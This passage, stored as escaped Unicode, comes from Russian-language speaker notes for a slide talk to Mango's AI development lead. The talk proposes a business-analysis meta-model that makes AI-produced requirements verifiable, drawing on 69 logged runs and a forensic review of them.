\u0441\u0432\u043e\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0430 \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442.\\n\\n## \u0420\u0430\u043c\u043a\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f\\n\\n- **\u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f:** \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango. \u0415\u043c\u0443 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\\n  \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 LLM, \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 RAG. \u0415\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0435\u043c \u043f\u043e\u0434\u0445\u043e\u0434\\n  \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u00ab\u0435\u0449\u0451 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u00bb \u0438 \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- **\u0425\u0440\u043e\u043d\u043e\u043c\u0435\u0442\u0440\u0430\u0436:** \u043e\u043a\u043e\u043b\u043e 20 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0438 10\u201315 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n  \u041e\u0440\u0438\u0435\u043d\u0442\u0438\u0440 \u043f\u043e \u0441\u043b\u0430\u0439\u0434\u0430\u043c \u2014 \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u0435.\\n- **\u041e\u0434\u043d\u0430 \u043c\u044b\u0441\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043d\u0435\u0441\u0442\u0438 \u0441\u043b\u0443\u0448\u0430\u0442\u0435\u043b\u044c:** \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439\\n  \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n  \u0438 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438.\\n- **\u0422\u043e\u043d:** \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439. \u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c. \u0422\u0430\u043c, \u0433\u0434\u0435\\n  \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u0435\u043b, \u043e \u043d\u0451\u043c \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c: \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043d\u0430\u0439\u0434\u0451\u0442 \u0435\u0433\u043e\\n  \u0441\u0430\u043c, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u043a \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u0447\u0438\u0441\u043b\u0430\u043c.\\n\\n### \u0427\u0435\u0433\u043e \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c\\n\\n- \u0427\u0442\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d end-to-end. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u2014\\n  \u043e\u0442 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u043e Release. \u0428\u0430\u0433\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b.\\n- \u0427\u0442\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts` \u2014 \u0431\u0435\u043d\u0447\u043c\u0430\u0440\u043a. \u041e\u043d\u0438\\n  \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0438 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\u0445. \u0420\u0430\u0437\u0431\u043e\u0440 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0430 \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443.\\n- \u0427\u0442\u043e \u0421\u0440\u0435\u0434\u0430 4 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442. \u042d\u0442\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u0441 \u043f\u043b\u0430\u043d\u043e\u043c, \u0430 \u043d\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u0430\u044f\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1 \u043c\u0438\u043d\u0443\u0442\u0430. **\u0426\u0435\u043b\u044c:** \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0442\u0435\u0437\u0438\u0441 \u0438 \u0434\u0430\u0442\u044c \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043e\u043d \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f\\n\u043d\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044e, \u0430 \u043d\u0435 \u043d\u0430 \u0442\u0435\u043e\u0440\u0438\u044e.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u043f\u0440\u0438\u0448\u043b\u0438 \u043d\u0435 \u0441 \u0438\u0434\u0435\u0435\u0439, \u0430 \u0441 \u043f\u043e\u043b\u0443\u0433\u043e\u0434\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b: \u0441 \u0430\u043f\u0440\u0435\u043b\u044f \u043f\u043e \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 \u0433\u043e\u0434\u0430\\n  69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango \u0447\u0435\u0440\u0435\u0437 \u0418\u0418.\\n- \u0412\u0441\u0451 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n  [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts): \u0432\u0445\u043e\u0434\u044b,\\n  \u0432\u044b\u0445\u043e\u0434\u044b, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0436\u0443\u0440\u043d\u0430\u043b\u044b. 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430.\\n- \u0418\u0437 \u044d\u0442\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2014 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a\\n  \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u0438 \u0433\u0434\u0435 \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043e\u0439.\\n- \u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043d\u044f\u043b\u0438: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n  \u0435\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041d\u0430\u0447\u043d\u0443 \u0441 \u0442\u043e\u0433\u043e, \u043f\u043e\u0447\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0437\u0434\u0435\u0441\u044c \u2014 \u043d\u0435 \u0430\u043a\u0430\u0434\u0435\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439\\n\u0432\u043e\u043f\u0440\u043e\u0441\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043d\u0443 \u043e\u0448\u0438\u0431\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0430\u044f\\n\u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0439.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u0422\u0430\u043c \u0422\u0417 \u2014 \u043d\u0435 \u0440\u0430\u0431\u043e\u0447\u0430\u044f \u0437\u0430\u043c\u0435\u0442\u043a\u0430, \u0430\\n  \u043e\u0441\u043d\u043e\u0432\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0447\u0430\u0441\u0442\u044c \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n- \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439: \u0432 \u043d\u0430\u0448\u0435\u0439\\n  [\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml)\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445. \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0441\u0432\u043e\u0438\\n  \u043b\u043e\u0432\u0443\u0448\u043a\u0438: \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0438 \u0433\u0440\u0443\u043f\u043f\u0430, SLA \u0438 AHT, IVR \u0438 \u0430\u0432\u0442\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0440.\\n- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438. \u041d\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\\n  \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430, \u0438 \u043f\u043e\u0442\u043e\u043c \u044d\u0442\u043e \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u0435\u0442 \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e \u0434\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438:** \u043a\u043e\u0433\u0434\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0440\u043e\u0433\u043e,\\n\u00ab\u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c \u0445\u043e\u0440\u043e\u0448\u0438\u0439\u00bb \u0442\u0435\u043a\u0441\u0442 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0433\u043e\u0434\u0438\u0442\u0441\u044f. \u041d\u0443\u0436\u043d\u0430 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435\\n\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e, \u043a\u043e\u0433\u0434\u0430 \u043c\u044b \u043e\u0442\u0434\u0430\u0432\u0430\u043b\u0438\\n\u044d\u0442\u0443 \u0440\u0430\u0431\u043e\u0442\u0443 \u0418\u0418\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 3. \u041c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0422\u0417 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0431\u043e\u043b\u044c \u0447\u0438\u0441\u043b\u0430\u043c\u0438 \u0438\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430,\\n\u0430 \u043d\u0435 \u0438\u0437 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\\n  [\u0432\u0441\u0435 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\\n  \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0440\u0430\u0437\u0431\u043e\u0440\u0430. \u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u043c, \u043f\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c.\\n- 17 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u2014 17 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440. \u041c\u0435\u0442\u0440\u0438\u043a\u0430\\n  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `M-1` \u0440\u0430\u0432\u043d\u0430 \u043d\u0443\u043b\u044e. \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 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\u043e\u0434\u043d\u0438\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0438 \u0441\u0442\u0430\u0440\u044b\u0439 \u2014 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435:\\n  [0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md).\\n  \u0410 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0433\u0435\u0439\u0442 \u2014 10\\n  [\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- \u0412\u044b\u0432\u043e\u0434 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438: \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u2014 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u0433\u0440\u0430\u043d\u0438\u0446\u044b\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438, \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u043e\u043c\u043f\u0442-\u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a:** \u043f\u0440\u043e\u043c\u043f\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. \u041e\u0442\u043a\u0430\u0437\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0440\u0430\u043d\u044c\u0448\u0435\\n\u0442\u0435\u043a\u0441\u0442\u0430: \u043d\u0430 \u0432\u044b\u0431\u043e\u0440\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n[ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n\u0437\u0430\u043f\u0438\u0441\u0430\u043b \u043f\u0440\u0430\u0432\u0438\u043b\u043e: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u0421\u0442\u0430\u0440\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043c\u044b \u043d\u0435\\n\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u0443.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u2014 \u0437\u043d\u0430\u0447\u0438\u0442, \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0442\u043e\\n\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0434\u0430\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u043d\u0435 \u0443\u0442\u043e\u043f\u0438\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u0445. \u0418\u0437 11\\n\u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u0445\u0443 \u0432\u043d\u0438\u0437: **\u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442**. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\\n- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0415\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u044d\u0442\u043e\\n  \u043e\u0442\u043a\u0430\u0437 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u0430 